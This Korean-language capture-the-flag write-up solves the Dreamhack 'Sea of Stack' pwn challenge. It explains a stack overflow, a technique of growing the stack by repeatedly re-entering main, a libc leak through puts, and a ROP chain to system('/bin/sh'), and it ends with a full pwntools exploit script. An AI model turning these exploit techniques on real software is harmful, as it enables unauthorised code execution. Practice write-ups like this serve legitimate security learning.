[Dreamhack] PWN Sea of Stack writeup
문제 파악
./prob
처음 실행해보면 문자열을 입력 받는거같은데, 조금 이상하다. 뭔가 문자열 혹은 버퍼가 깔끔하게 들어가고 있는 느낌은 아니다.
카나리 없고, PIE 없다. 개꿀.
IDA
처음 실행하면 16바이트를 입력받고, s1이 Decision2Solve와 같은지 비교한다.
read_input은 1바이트씩 반복문을 통해 입력을 받는다.
이걸 보고 알 수 있는건, 처음 실행했을 때 이상하게 문자열이 들어가는 느낌이 이것 때문이라는 것을 알 수 있다. 버퍼에 남아있는 값들이 다음 입력으로 넘어가거나,,, 엔터까지 받아버리고 등등,,,
취약점
unsafe_func()을 보면 너무 당당하게 bof가 발생하고 있다. 근데 보자마자 조금 쎄한건 0x10000만큼이나 받아버리면... 정상 실행이 가능할까...?
우선 익스 시나리오를 생각해보자면
1. info leak (libc base)
2. ROP
이다. 뭔가 느낌이 오지만, 0x10000 때문에 프로그램이 터지는걸 해결해야 할 것 같다.
풀이
unsafe() 에서 ROP로 puts의 got를 출력시켜서 libc base를 구할것이다.
그리고 main으로 다시 돌아가서 다시 unsafe()에서 ROP system("/bin/sh") 하면 끝. 이지하네
1. info leak
puts(e.got['puts']), return to main
payload = b""
payload += b"A"*0x28
payload += p64(pop_rdi_nop_rbp_ret)
payload += p64(e.got['puts'])
payload += p64(0)
payload += p64(e.plt['puts'])
payload += p64(ret)
payload += p64(e.symbols['main'])
페이로드를 unsafe()에 보내면 된다. 문제는 unsafe()는 꼭 0x10000만큼 받아야 종료가 되기 때문에 그만큼 보내줘야 한다.
하지만, 프로그램이 터진다. 0x10000을 받는 문제를 해결해야겠다.
1.1 프로그램이 터져요
0x10000
그러면 우리가 0x10000만큼의 공간을 만들어줘야 한다. 어떻게 할 수 있을까?
스택이 커지는 상황을 생각해보자. 너무너무 커져서 터져버릴 정도로. 보통 재귀함수 잘못 실행해서 종료 안됐을때 스택이 너무 커져서 터져버리는걸 경험해봤을거다.그럼 우리도 함수 엄청 많이 실행시켜서 스택을 키우면 되는거 아닌가?
main함수를 계속 실행시키면 스택에 그만큼의 공간이 생기지 않을까?
main 반복
Decision2Solve 기능을 이제야 사용한다. 원하는 주소에 원하는 값이 입력 가능한 기능이 있다. 맨 처음에 받은 값이 Decision2Solve와 동일하면 사용할 수 있는 기능이다. 우선 나는 이 기능으로 safe() 함수를 main함수로 바꿔서 return to main을 하려고 한다.
우선 Decision2Solve를 정직하게 입력하면 다음으로 안넘어갈거다. 이 부분은 디버깅 해보면서 확인해보길 바란다.
결론적으로 Decision2Solve\x00 라고 보내줘야 하고, read_input()의 특성에 따라 16바이트를 보내줘야 하기 때문에 Decision2Solve\x00\x00 또는 Decision2Solve\x00\n 과 같은 느낌으로 보내줘야 한다.
safe 함수의 주소는 0x404010, main의 시작 주소는 0x401446이다.
p64(0x401010)
p64(0x401446)
이렇게 보내면 될거같지만, Decision2Solve 때와 같은 이유로 6바이트 만큼 보내줘야한다. 따라서 직접 다 적어야한다. (이 부분이 이해가 안되거나 막혔으면, 디버깅 해보면서 이해해보자)
sa(b"> ", b"Decision2Solve"+b"\x00\n")
p.send(p64(0x404010))
p.send(b"\x46\x14\x40\x00\x00\x00")
필자는 이런식으로 했다.
이후에 계속 1번을 선택해서 safe()를 많이많이 실행시키면...
스택 부자가 될 수 있다.
이제 여기서 입력을 받아서 bof로 인해 스택이 꽉 차게되더라도 차후에 동작에는 문제가 없을 것이다.
어느정도 반복해야 할지는 각자 계산해보자.
다시 info leak
그럼 이렇게 스택을 늘린 이후에 위쪽에서 시도한 info leak을 다시 시도해보면
libc_base를 얻을 수 있다.
2. system("/bin/sh")
이제는 매우 쉽다. 다시 메인으로 돌아왔으니 unsafe()에서 system("/bin/sh")을 실행시키면 된다.
payload = b""
payload += p64(e.bss()+0x100)*5
payload += p64(pop_rdi_nop_rbp_ret)
payload += p64(libc_base + next(libc.search(b"/bin/sh")))
payload += p64(0)
payload += p64(libc_base + libc.symbols['system'])
sl(payload+b"A"*(0x10000-len(payload)))
EXPLOIT
from pwn import *
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)
#gadget
#pop rdi; nop ; pop rbp ; ret
pop_rdi_nop_rbp_ret = 0x000000000040129b
ret = 0x000000000040101a
REMOTE = 0
if REMOTE:
p = remote('host3.dreamhack.games', 17436)
else:
context.log_level = 'debug'
p = process('./prob', env={'LD_PRELOAD':'./libc.so.6'})
e = ELF('./prob')
libc = ELF('./libc.so.6')
sa(b"> ", b"Decision2Solve"+b"\x00\n")
p.send(p64(0x404010))
p.send(b"\x46\x14\x40\x00\x00\x00")
for i in range (0x400):
sla(b"> ", b"1")
sa(b"> ", b"D"*14+b"\x00\n")
sla(b"> ", b"2")
payload = b""
payload += b"A"*0x28
payload += p64(pop_rdi_nop_rbp_ret)
payload += p64(e.got['puts'])
payload += p64(0)
payload += p64(e.plt['puts'])
payload += p64(ret)
payload += p64(e.symbols['main'])
sl(payload+b"A"*(0x10000-len(payload)-1))
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.symbols['puts']
log.info("libc_base: "+ hex(libc_base))
sa(b"> ", b"D"*14+b"\x00\n")
sla(b"> ", b"2")
payload = b""
payload += p64(e.bss()+0x100)*5
payload += p64(pop_rdi_nop_rbp_ret)
payload += p64(libc_base + next(libc.search(b"/bin/sh")))
payload += p64(0)
payload += p64(libc_base + libc.symbols['system'])
sl(payload+b"A"*(0x10000-len(payload)))
p.interactive()